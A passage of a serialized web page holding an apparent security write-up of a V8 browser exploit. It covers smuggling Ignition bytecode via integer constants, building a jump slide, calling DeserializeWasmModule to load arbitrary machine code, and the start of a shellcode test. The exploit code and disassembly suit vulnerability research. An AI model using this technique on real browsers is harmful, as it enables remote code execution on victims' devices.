42796},{"style":110},[142797],{"type":29,"value":101045},{"type":23,"tag":75,"props":142799,"children":142800},{"style":209},[142801],{"type":29,"value":1193},{"type":23,"tag":75,"props":142803,"children":142804},{"style":209},[142805],{"type":29,"value":62440},{"type":23,"tag":75,"props":142807,"children":142808},{"style":237},[142809],{"type":29,"value":142782},{"type":23,"tag":75,"props":142811,"children":142812},{"style":94},[142813],{"type":29,"value":245},{"type":23,"tag":75,"props":142815,"children":142816},{"class":77,"line":121},[142817,142821,142825,142829,142833,142837],{"type":23,"tag":75,"props":142818,"children":142819},{"style":82},[142820],{"type":29,"value":23033},{"type":23,"tag":75,"props":142822,"children":142823},{"style":110},[142824],{"type":29,"value":48636},{"type":23,"tag":75,"props":142826,"children":142827},{"style":209},[142828],{"type":29,"value":1193},{"type":23,"tag":75,"props":142830,"children":142831},{"style":209},[142832],{"type":29,"value":62440},{"type":23,"tag":75,"props":142834,"children":142835},{"style":237},[142836],{"type":29,"value":142782},{"type":23,"tag":75,"props":142838,"children":142839},{"style":94},[142840],{"type":29,"value":245},{"type":23,"tag":75,"props":142842,"children":142843},{"class":77,"line":138},[142844,142848,142852,142856,142860,142864],{"type":23,"tag":75,"props":142845,"children":142846},{"style":82},[142847],{"type":29,"value":23033},{"type":23,"tag":75,"props":142849,"children":142850},{"style":110},[142851],{"type":29,"value":142550},{"type":23,"tag":75,"props":142853,"children":142854},{"style":209},[142855],{"type":29,"value":1193},{"type":23,"tag":75,"props":142857,"children":142858},{"style":209},[142859],{"type":29,"value":62440},{"type":23,"tag":75,"props":142861,"children":142862},{"style":237},[142863],{"type":29,"value":142782},{"type":23,"tag":75,"props":142865,"children":142866},{"style":94},[142867],{"type":29,"value":245},{"type":23,"tag":32,"props":142869,"children":142870},{},[142871],{"type":29,"value":142872},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":23,"tag":32,"props":142874,"children":142875},{},[142876],{"type":29,"value":142877},"We'll use a similar principle here, although much more limited. With",{"type":23,"tag":64,"props":142879,"children":142881},{"code":142880},"let a = 0x0693bebe;\n",[142882],{"type":23,"tag":71,"props":142883,"children":142884},{"__ignoreMap":7},[142885],{"type":29,"value":142880},{"type":23,"tag":32,"props":142887,"children":142888},{},[142889],{"type":29,"value":142890},"We will compile the bytecode:",{"type":23,"tag":64,"props":142892,"children":142894},{"code":142893},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[142895],{"type":23,"tag":71,"props":142896,"children":142897},{"__ignoreMap":7},[142898],{"type":29,"value":142893},{"type":23,"tag":32,"props":142900,"children":142901},{},[142902,142904,142910,142912,142918,142919,142925],{"type":29,"value":142903},"We can then jump to the 3rd byte (",{"type":23,"tag":71,"props":142905,"children":142907},{"className":142906},[],[142908],{"type":29,"value":142909},"0xbe",{"type":29,"value":142911},"), and gain 2 controlled bytes of execution, followed by ",{"type":23,"tag":71,"props":142913,"children":142915},{"className":142914},[],[142916],{"type":29,"value":142917},"0x93 0x02 - 0xf",{"type":29,"value":183},{"type":23,"tag":71,"props":142920,"children":142922},{"className":142921},[],[142923],{"type":29,"value":142924},"Jump +[2-15]",{"type":29,"value":142926},") to jump into the next constant.",{"type":23,"tag":32,"props":142928,"children":142929},{},[142930,142932,142938,142940,142946,142948,142954],{"type":29,"value":142931},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":23,"tag":71,"props":142933,"children":142935},{"className":142934},[],[142936],{"type":29,"value":142937},"StarX",{"type":29,"value":142939}," instructions, registers 16-121 resulted in two bytes ",{"type":23,"tag":71,"props":142941,"children":142943},{"className":142942},[],[142944],{"type":29,"value":142945},"Star rX",{"type":29,"value":142947}," instructions, and the next batch resulted in 4 byte ",{"type":23,"tag":71,"props":142949,"children":142951},{"className":142950},[],[142952],{"type":29,"value":142953},"Star.ExtraWide rX",{"type":29,"value":142955}," instructions.",{"type":23,"tag":32,"props":142957,"children":142958},{},[142959,142961,142967],{"type":29,"value":142960},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":23,"tag":71,"props":142962,"children":142964},{"className":142963},[],[142965],{"type":29,"value":142966},"0x8931111",{"type":29,"value":1018},{"type":23,"tag":64,"props":142969,"children":142971},{"code":142970,"language":42561,"meta":7,"className":42559,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[142972],{"type":23,"tag":71,"props":142973,"children":142974},{"__ignoreMap":7},[142975,143000,143024,143048,143072,143096,143120],{"type":23,"tag":75,"props":142976,"children":142977},{"class":77,"line":78},[142978,142982,142987,142991,142996],{"type":23,"tag":75,"props":142979,"children":142980},{"style":82},[142981],{"type":29,"value":23033},{"type":23,"tag":75,"props":142983,"children":142984},{"style":110},[142985],{"type":29,"value":142986}," a206",{"type":23,"tag":75,"props":142988,"children":142989},{"style":209},[142990],{"type":29,"value":1193},{"type":23,"tag":75,"props":142992,"children":142993},{"style":237},[142994],{"type":29,"value":142995}," 0x8931111",{"type":23,"tag":75,"props":142997,"children":142998},{"style":94},[142999],{"type":29,"value":245},{"type":23,"tag":75,"props":143001,"children":143002},{"class":77,"line":100},[143003,143007,143012,143016,143020],{"type":23,"tag":75,"props":143004,"children":143005},{"style":82},[143006],{"type":29,"value":23033},{"type":23,"tag":75,"props":143008,"children":143009},{"style":110},[143010],{"type":29,"value":143011}," a207",{"type":23,"tag":75,"props":143013,"children":143014},{"style":209},[143015],{"type":29,"value":1193},{"type":23,"tag":75,"props":143017,"children":143018},{"style":237},[143019],{"type":29,"value":142995},{"type":23,"tag":75,"props":143021,"children":143022},{"style":94},[143023],{"type":29,"value":245},{"type":23,"tag":75,"props":143025,"children":143026},{"class":77,"line":121},[143027,143031,143036,143040,143044],{"type":23,"tag":75,"props":143028,"children":143029},{"style":82},[143030],{"type":29,"value":23033},{"type":23,"tag":75,"props":143032,"children":143033},{"style":110},[143034],{"type":29,"value":143035}," a208",{"type":23,"tag":75,"props":143037,"children":143038},{"style":209},[143039],{"type":29,"value":1193},{"type":23,"tag":75,"props":143041,"children":143042},{"style":237},[143043],{"type":29,"value":142995},{"type":23,"tag":75,"props":143045,"children":143046},{"style":94},[143047],{"type":29,"value":245},{"type":23,"tag":75,"props":143049,"children":143050},{"class":77,"line":138},[143051,143055,143060,143064,143068],{"type":23,"tag":75,"props":143052,"children":143053},{"style":82},[143054],{"type":29,"value":23033},{"type":23,"tag":75,"props":143056,"children":143057},{"style":110},[143058],{"type":29,"value":143059}," a209",{"type":23,"tag":75,"props":143061,"children":143062},{"style":209},[143063],{"type":29,"value":1193},{"type":23,"tag":75,"props":143065,"children":143066},{"style":237},[143067],{"type":29,"value":142995},{"type":23,"tag":75,"props":143069,"children":143070},{"style":94},[143071],{"type":29,"value":245},{"type":23,"tag":75,"props":143073,"children":143074},{"class":77,"line":161},[143075,143079,143084,143088,143092],{"type":23,"tag":75,"props":143076,"children":143077},{"style":82},[143078],{"type":29,"value":23033},{"type":23,"tag":75,"props":143080,"children":143081},{"style":110},[143082],{"type":29,"value":143083}," a210",{"type":23,"tag":75,"props":143085,"children":143086},{"style":209},[143087],{"type":29,"value":1193},{"type":23,"tag":75,"props":143089,"children":143090},{"style":237},[143091],{"type":29,"value":142995},{"type":23,"tag":75,"props":143093,"children":143094},{"style":94},[143095],{"type":29,"value":245},{"type":23,"tag":75,"props":143097,"children":143098},{"class":77,"line":196},[143099,143103,143108,143112,143116],{"type":23,"tag":75,"props":143100,"children":143101},{"style":82},[143102],{"type":29,"value":23033},{"type":23,"tag":75,"props":143104,"children":143105},{"style":110},[143106],{"type":29,"value":143107}," a211",{"type":23,"tag":75,"props":143109,"children":143110},{"style":209},[143111],{"type":29,"value":1193},{"type":23,"tag":75,"props":143113,"children":143114},{"style":237},[143115],{"type":29,"value":142995},{"type":23,"tag":75,"props":143117,"children":143118},{"style":94},[143119],{"type":29,"value":245},{"type":23,"tag":75,"props":143121,"children":143122},{"class":77,"line":220},[143123,143127,143132,143136,143140],{"type":23,"tag":75,"props":143124,"children":143125},{"style":82},[143126],{"type":29,"value":23033},{"type":23,"tag":75,"props":143128,"children":143129},{"style":110},[143130],{"type":29,"value":143131}," a212",{"type":23,"tag":75,"props":143133,"children":143134},{"style":209},[143135],{"type":29,"value":1193},{"type":23,"tag":75,"props":143137,"children":143138},{"style":237},[143139],{"type":29,"value":142995},{"type":23,"tag":75,"props":143141,"children":143142},{"style":94},[143143],{"type":29,"value":245},{"type":23,"tag":32,"props":143145,"children":143146},{},[143147],{"type":29,"value":143148},"Those instructions result in:",{"type":23,"tag":64,"props":143150,"children":143152},{"code":143151},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[143153],{"type":23,"tag":71,"props":143154,"children":143155},{"__ignoreMap":7},[143156],{"type":29,"value":143151},{"type":23,"tag":32,"props":143158,"children":143159},{},[143160,143162,143168,143170,143174],{"type":29,"value":143161},"(The offset of ",{"type":23,"tag":71,"props":143163,"children":143165},{"className":143164},[],[143166],{"type":29,"value":143167},"Jump",{"type":29,"value":143169}," instructions is added to the ",{"type":23,"tag":9690,"props":143171,"children":143172},{},[143173],{"type":29,"value":82262},{"type":29,"value":143175}," of the instruction.)",{"type":23,"tag":32,"props":143177,"children":143178},{},[143179,143181,143187],{"type":29,"value":143180},"Now, 3 out of the 6 bytes in a ",{"type":23,"tag":71,"props":143182,"children":143184},{"className":143183},[],[143185],{"type":29,"value":143186},"LdaSmi.ExtraWide",{"type":29,"value":143188}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":23,"tag":923,"props":143190,"children":143192},{"id":143191},"exploit-goal",[143193],{"type":29,"value":143194},"Exploit Goal",{"type":23,"tag":32,"props":143196,"children":143197},{},[143198,143200,143206,143207,143213],{"type":29,"value":143199},"Initially we considered using ",{"type":23,"tag":71,"props":143201,"children":143203},{"className":143202},[],[143204],{"type":29,"value":143205},"Star",{"type":29,"value":5647},{"type":23,"tag":71,"props":143208,"children":143210},{"className":143209},[],[143211],{"type":29,"value":143212},"Ldar",{"type":29,"value":143214}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":23,"tag":32,"props":143216,"children":143217},{},[143218,143220,143227],{"type":29,"value":143219},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":23,"tag":940,"props":143221,"children":143224},{"href":143222,"rel":143223},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[944],[143225],{"type":29,"value":143226},"stack pivot and ROP",{"type":29,"value":143228},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":23,"tag":32,"props":143230,"children":143231},{},[143232],{"type":29,"value":143233},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":23,"tag":32,"props":143235,"children":143236},{},[143237],{"type":29,"value":143238},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":23,"tag":32,"props":143240,"children":143241},{},[143242,143244,143250,143252,143258,143260,143266],{"type":29,"value":143243},"At this point, we identified an interesting opcode: ",{"type":23,"tag":71,"props":143245,"children":143247},{"className":143246},[],[143248],{"type":29,"value":143249},"CallRuntime",{"type":29,"value":143251},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":23,"tag":71,"props":143253,"children":143255},{"className":143254},[],[143256],{"type":29,"value":143257},"--allow-natives-syntax",{"type":29,"value":143259}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":23,"tag":71,"props":143261,"children":143263},{"className":143262},[],[143264],{"type":29,"value":143265},"DeserializeWasmModule",{"type":29,"value":557},{"type":23,"tag":32,"props":143268,"children":143269},{},[143270,143272,143279,143280,143285,143286,143292,143294,143301],{"type":29,"value":143271},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":23,"tag":940,"props":143273,"children":143276},{"href":143274,"rel":143275},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[944],[143277],{"type":29,"value":143278},"JIT-compiled functions",{"type":29,"value":29754},{"type":23,"tag":71,"props":143281,"children":143283},{"className":143282},[],[143284],{"type":29,"value":143265},{"type":29,"value":5647},{"type":23,"tag":71,"props":143287,"children":143289},{"className":143288},[],[143290],{"type":29,"value":143291},"SerializeWasmModule",{"type":29,"value":143293}," themselves are only used from test functions, and indeed have been ",{"type":23,"tag":940,"props":143295,"children":143298},{"href":143296,"rel":143297},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[944],[143299],{"type":29,"value":143300},"removed",{"type":29,"value":143302}," from recent production V8 builds due to how abusable this functionality is.",{"type":23,"tag":32,"props":143304,"children":143305},{},[143306,143308,143314,143316,143322,143324,143329,143331,143337,143339,143344,143345,143350,143351,143356,143358,143364,143366,143370],{"type":29,"value":143307},"However, calling this opcode represented a significant challenge:\n",{"type":23,"tag":71,"props":143309,"children":143311},{"className":143310},[],[143312],{"type":29,"value":143313},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":29,"value":143315},"\nWhere ",{"type":23,"tag":71,"props":143317,"children":143319},{"className":143318},[],[143320],{"type":29,"value":143321},"func-id",{"type":29,"value":143323}," is a 2-byte function ID, ",{"type":23,"tag":71,"props":143325,"children":143327},{"className":143326},[],[143328],{"type":29,"value":49419},{"type":29,"value":143330}," is the index of the last register passed and ",{"type":23,"tag":71,"props":143332,"children":143334},{"className":143333},[],[143335],{"type":29,"value":143336},"argc",{"type":29,"value":143338}," is the number of arguments passed (e.g. passing ",{"type":23,"tag":71,"props":143340,"children":143342},{"className":143341},[],[143343],{"type":29,"value":55572},{"type":29,"value":611},{"type":23,"tag":71,"props":143346,"children":143348},{"className":143347},[],[143349],{"type":29,"value":55715},{"type":29,"value":2721},{"type":23,"tag":71,"props":143352,"children":143354},{"className":143353},[],[143355],{"type":29,"value":55698},{"type":29,"value":143357}," would be encoded as ",{"type":23,"tag":71,"props":143359,"children":143361},{"className":143360},[],[143362],{"type":29,"value":143363},"\u003Cr2> \u003C3>",{"type":29,"value":143365},").\nThis requires ",{"type":23,"tag":9690,"props":143367,"children":143368},{},[143369],{"type":29,"value":29331},{"type":29,"value":143371}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":23,"tag":923,"props":143373,"children":143375},{"id":143374},"better-bytecode-control",[143376],{"type":29,"value":143377},"Better Bytecode Control",{"type":23,"tag":32,"props":143379,"children":143380},{},[143381,143383,143390,143392,143398],{"type":29,"value":143382},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":23,"tag":940,"props":143384,"children":143387},{"href":143385,"rel":143386},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[944],[143388],{"type":29,"value":143389},"feedback vector slot",{"type":29,"value":143391},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":23,"tag":71,"props":143393,"children":143395},{"className":143394},[],[143396],{"type":29,"value":143397},"AddSmi",{"type":29,"value":143399}," instruction, it represents the number of operations performed on the target value so far.",{"type":23,"tag":32,"props":143401,"children":143402},{},[143403],{"type":29,"value":143404},"For example, we can look at the below Ignition disassembly:",{"type":23,"tag":64,"props":143406,"children":143408},{"code":143407},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[143409],{"type":23,"tag":71,"props":143410,"children":143411},{"__ignoreMap":7},[143412],{"type":29,"value":143407},{"type":23,"tag":32,"props":143414,"children":143415},{},[143416,143418,143424],{"type":29,"value":143417},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":23,"tag":71,"props":143419,"children":143421},{"className":143420},[],[143422],{"type":29,"value":143423},"AddSmi.ExtraWide",{"type":29,"value":143425},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":23,"tag":32,"props":143427,"children":143428},{},[143429],{"type":29,"value":143430},"Eventually, we can reach a stage like this:",{"type":23,"tag":64,"props":143432,"children":143434},{"code":143433},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[143435],{"type":23,"tag":71,"props":143436,"children":143437},{"__ignoreMap":7},[143438],{"type":29,"value":143433},{"type":23,"tag":32,"props":143440,"children":143441},{},[143442],{"type":29,"value":143443},"If you skip the first two bytes, you have",{"type":23,"tag":27910,"props":143445,"children":143446},{},[143447,143478],{"type":23,"tag":2801,"props":143448,"children":143449},{},[143450,143455,143457,143462,143464,143470,143472],{"type":23,"tag":71,"props":143451,"children":143453},{"className":143452},[],[143454],{"type":29,"value":143249},{"type":29,"value":143456}," (0x6c) to ",{"type":23,"tag":71,"props":143458,"children":143460},{"className":143459},[],[143461],{"type":29,"value":143265},{"type":29,"value":143463}," (0x0266) starting from register ",{"type":23,"tag":71,"props":143465,"children":143467},{"className":143466},[],[143468],{"type":29,"value":143469},"a2",{"type":29,"value":143471}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":23,"tag":71,"props":143473,"children":143475},{"className":143474},[],[143476],{"type":29,"value":143477},"DeserializeWasmModule(a2, a1)",{"type":23,"tag":2801,"props":143479,"children":143480},{},[143481],{"type":29,"value":143482},"a Jump instruction",{"type":23,"tag":923,"props":143484,"children":143486},{"id":143485},"returning-back-to-js",[143487],{"type":29,"value":143488},"Returning Back to JS",{"type":23,"tag":32,"props":143490,"children":143491},{},[143492,143494,143500],{"type":29,"value":143493},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":23,"tag":71,"props":143495,"children":143497},{"className":143496},[],[143498],{"type":29,"value":143499},"yield",{"type":29,"value":143501}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":23,"tag":32,"props":143503,"children":143504},{},[143505],{"type":29,"value":143506},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":23,"tag":64,"props":143508,"children":143510},{"code":143509,"language":42561,"meta":7,"className":42559,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[143511],{"type":23,"tag":71,"props":143512,"children":143513},{"__ignoreMap":7},[143514,143525,143573,143594,143610,143633,143661,143678],{"type":23,"tag":75,"props":143515,"children":143516},{"class":77,"line":78},[143517,143521],{"type":23,"tag":75,"props":143518,"children":143519},{"style":175},[143520],{"type":29,"value":59523},{"type":23,"tag":75,"props":143522,"children":143523},{"style":94},[143524],{"type":29,"value":401},{"type":23,"tag":75,"props":143526,"children":143527},{"class":77,"line":100},[143528,143533,143537,143542,143546,143551,143555,143560,143564,143568],{"type":23,"tag":75,"props":143529,"children":143530},{"style":110},[143531],{"type":29,"value":143532},"  $",{"type":23,"tag":75,"props":143534,"children":143535},{"style":94},[143536],{"type":29,"value":853},{"type":23,"tag":75,"props":143538,"children":143539},{"style":1266},[143540],{"type":29,"value":143541},"'a1 + 0xa931111;'",{"type":23,"tag":75,"props":143543,"children":143544},{"style":94},[143545],{"type":29,"value":557},{"type":23,"tag":75,"props":143547,"children":143548},{"style":88},[143549],{"type":29,"value":143550},"repeat",{"type":23,"tag":75,"props":143552,"children":143553},{"style":94},[143554],{"type":29,"value":643},{"type":23,"tag":75,"props":143556,"children":143557},{"style":237},[143558],{"type":29,"value":143559},"0x059302",{"type":23,"tag":75,"props":143561,"children":143562},{"style":209},[143563],{"type":29,"value":62440},{"type":23,"tag":75,"props":143565,"children":143566},{"style":237},[143567],{"type":29,"value":15795},{"type":23,"tag":75,"props":143569,"children":143570},{"style":94},[143571],{"type":29,"value":143572},")}\n",{"type":23,"tag":75,"props":143574,"children":143575},{"class":77,"line":121},[143576,143581,143585,143590],{"type":23,"tag":75,"props":143577,"children":143578},{"style":110},[143579],{"type":29,"value":143580},"  a1",{"type":23,"tag":75,"props":143582,"children":143583},{"style":209},[143584],{"type":29,"value":20160},{"type":23,"tag":75,"props":143586,"children":143587},{"style":237},[143588],{"type":29,"value":143589}," 0x0402666c",{"type":23,"tag":75,"props":143591,"children":143592},{"style":94},[143593],{"type":29,"value":245},{"type":23,"tag":75,"props":143595,"children":143596},{"class":77,"line":138},[143597,143601,143606],{"type":23,"tag":75,"props":143598,"children":143599},{"style":175},[143600],{"type":29,"value":46396},{"type":23,"tag":75,"props":143602,"children":143603},{"style":237},[143604],{"type":29,"value":143605}," 0x393e91a",{"type":23,"tag":75,"props":143607,"children":143608},{"style":94},[143609],{"type":29,"value":245},{"type":23,"tag":75,"props":143611,"children":143612},{"class":77,"line":161},[143613,143617,143621,143625,143629],{"type":23,"tag":75,"props":143614,"children":143615},{"style":94},[143616],{"type":29,"value":58066},{"type":23,"tag":75,"props":143618,"children":143619},{"style":175},[143620],{"type":29,"value":59602},{"type":23,"tag":75,"props":143622,"children":143623},{"style":94},[143624],{"type":29,"value":183},{"type":23,"tag":75,"props":143626,"children":143627},{"style":110},[143628],{"type":29,"value":62639},{"type":23,"tag":75,"props":143630,"children":143631},{"style":94},[143632],{"type":29,"value":193},{"type":23,"tag":75,"props":143634,"children":143635},{"class":77,"line":196},[143636,143640,143644,143648,143652,143657],{"type":23,"tag":75,"props":143637,"children":143638},{"style":110},[143639],{"type":29,"value":112279},{"type":23,"tag":75,"props":143641,"children":143642},{"style":94},[143643],{"type":29,"value":557},{"type":23,"tag":75,"props":143645,"children":143646},{"style":88},[143647],{"type":29,"value":112288},{"type":23,"tag":75,"props":143649,"children":143650},{"style":94},[143651],{"type":29,"value":643},{"type":23,"tag":75,"props":143653,"children":143654},{"style":1266},[143655],{"type":29,"value":143656},"\"foo\"",{"type":23,"tag":75,"props":143658,"children":143659},{"style":94},[143660],{"type":29,"value":15099},{"type":23,"tag":75,"props":143662,"children":143663},{"class":77,"line":220},[143664,143669,143674],{"type":23,"tag":75,"props":143665,"children":143666},{"style":175},[143667],{"type":29,"value":143668},"  yield",{"type":23,"tag":75,"props":143670,"children":143671},{"style":110},[143672],{"type":29,"value":143673}," a16",{"type":23,"tag":75,"props":143675,"children":143676},{"style":94},[143677],{"type":29,"value":245},{"type":23,"tag":75,"props":143679,"children":143680},{"class":77,"line":248},[143681],{"type":23,"tag":75,"props":143682,"children":143683},{"style":94},[143684],{"type":29,"value":369},{"type":23,"tag":32,"props":143686,"children":143687},{},[143688,143690],{"type":29,"value":143689},"Starting from the final ",{"type":23,"tag":71,"props":143691,"children":143693},{"className":143692},[],[143694],{"type":29,"value":143397},{"type":23,"tag":64,"props":143696,"children":143698},{"code":143697}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[143699],{"type":23,"tag":71,"props":143700,"children":143701},{"__ignoreMap":7},[143702],{"type":29,"value":143697},{"type":23,"tag":32,"props":143704,"children":143705},{},[143706,143708,143713,143715,143721],{"type":29,"value":143707},"The smuggled jump in ",{"type":23,"tag":71,"props":143709,"children":143711},{"className":143710},[],[143712],{"type":29,"value":143397},{"type":29,"value":143714}," will redirect us to ",{"type":23,"tag":71,"props":143716,"children":143718},{"className":143717},[],[143719],{"type":29,"value":143720},"1a e9 93 03",{"type":29,"value":143722},", which results in:",{"type":23,"tag":27910,"props":143724,"children":143725},{},[143726,143737],{"type":23,"tag":2801,"props":143727,"children":143728},{},[143729,143735],{"type":23,"tag":71,"props":143730,"children":143732},{"className":143731},[],[143733],{"type":29,"value":143734},"Star r16",{"type":29,"value":143736}," (store accumulator to r16)",{"type":23,"tag":2801,"props":143738,"children":143739},{},[143740,143745],{"type":23,"tag":71,"props":143741,"children":143743},{"className":143742},[],[143744],{"type":29,"value":143167},{"type":29,"value":143746}," past the throw into the catch relevant code",{"type":23,"tag":32,"props":143748,"children":143749},{},[143750,143752,143758],{"type":29,"value":143751},"This will bring us nicely to the final ",{"type":23,"tag":71,"props":143753,"children":143755},{"className":143754},[],[143756],{"type":29,"value":143757},"yield a16",{"type":29,"value":143759},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":23,"tag":923,"props":143761,"children":143763},{"id":143762},"executing-shellcode",[143764],{"type":29,"value":143765},"Executing Shellcode",{"type":23,"tag":32,"props":143767,"children":143768},{},[143769],{"type":29,"value":143770},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":23,"tag":64,"props":143772,"children":143774},{"code":143773,"language":46810,"meta":7,"className":46808,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[143775],{"type":23,"tag":71,"props":143776,"children":143777},{"__ignoreMap":7},[143778,143808,144035,144103,144110,144155,144201,144241,144248,144272,144309,144345],{"type":23,"tag":75,"props":143779,"children":143780},{"class":77,"line":78},[143781,143785,143790,143794,143798,143803],{"type":23,"tag":75,"props":143782,"children":143783},{"style":82},[143784],{"type":29,"value":46241},{"type":23,"tag":75,"props":143786,"children":143787},{"style":110},[143788],{"type":29,"value":143789}," wasm_code",{"type":23,"tag":75,"props":143791,"children":143792},{"style":209},[143793],{"type":29,"value":1193},{"type":23,"tag":75,"props":143795,"children":143796},{"style":82},[143797],{"type":29,"value":43128},{"type":23,"tag":75,"props":143799,"children":143800},{"style":88},[143801],{"type":29,"value":143802}," Uint8Array",{"type":23,"tag":75,"props":143804,"children":143805},{"style":94},[143806],{"type":29,"value":143807},"([\n",{"type":23,"tag":75,"props":143809,"children":143810},{"class":77,"line":100},[143811,143816,143820,143825,143829,143834,143838,143843,143847,143851,143855,143859,143863,143867,143871,143875,143879,143883,143887,143891,143895,143899,143903,143908,143912,143916,143920,143924,143928,143932,143936,143940,143944,143948,143952,143956,143960,143964,143968,143972,143976,143980,143984,143988,143992,143996,144000,144005,144009,144014,144018,144023,144027,144031],{"type":23,"tag":75,"props":143812,"children":143813},{"style":237},[143814],{"type":29,"value":143815},"  0",{"type":23,"tag":75,"props":143817,"children":143818},{"style":94},[143819],{"type":29,"value":611},{"type":23,"tag":75,"props":143821,"children":143822},{"style":237},[143823],{"type":29,"value":143824},"97",{"type":23,"tag":75,"props":143826,"children":143827},{"style":94},[143828],{"type":29,"value":611},{"type":23,"tag":75,"props":143830,"children":143831},{"style":237},[143832],{"type":29,"value":143833},"115",{"type":23,"tag":75,"props":143835,"children":143836},{"style":94},[143837],{"type":29,"value":611},{"type":23,"tag":75,"props":143839,"children":143840},{"style":237},[143841],{"type":29,"value":143842},"109",{"type":23,"tag":75,"props":143844,"children":143845},{"style":94},[143846],{"type":29,"value":611},{"type":23,"tag":75,"props":143848,"children":143849},{"style":237},[143850],{"type":29,"value":7867},{"type":23,"tag":75,"props":143852,"children":143853},{"style":94},[143854],{"type":29,"value":611},{"type":23,"tag":75,"props":143856,"children":143857},{"style":237},[143858],{"type":29,"value":648},{"type":23,"tag":75,"props":143860,"children":143861},{"style":94},[143862],{"type":29,"value":611},{"type":23,"tag":75,"props":143864,"children":143865},{"style":237},[143866],{"type":29,"value":648},{"type":23,"tag":75,"props":143868,"children":143869},{"style":94},[143870],{"type":29,"value":611},{"type":23,"tag":75,"props":143872,"children":143873},{"style":237},[143874],{"type":29,"value":648},{"type":23,"tag":75,"props":143876,"children":143877},{"style":94},[143878],{"type":29,"value":611},{"type":23,"tag":75,"props":143880,"children":143881},{"style":237},[143882],{"type":29,"value":7867},{"type":23,"tag":75,"props":143884,"children":143885},{"style":94},[143886],{"type":29,"value":611},{"type":23,"tag":75,"props":143888,"children":143889},{"style":237},[143890],{"type":29,"value":28751},{"type":23,"tag":75,"props":143892,"children":143893},{"style":94},[143894],{"type":29,"value":611},{"type":23,"tag":75,"props":143896,"children":143897},{"style":237},[143898],{"type":29,"v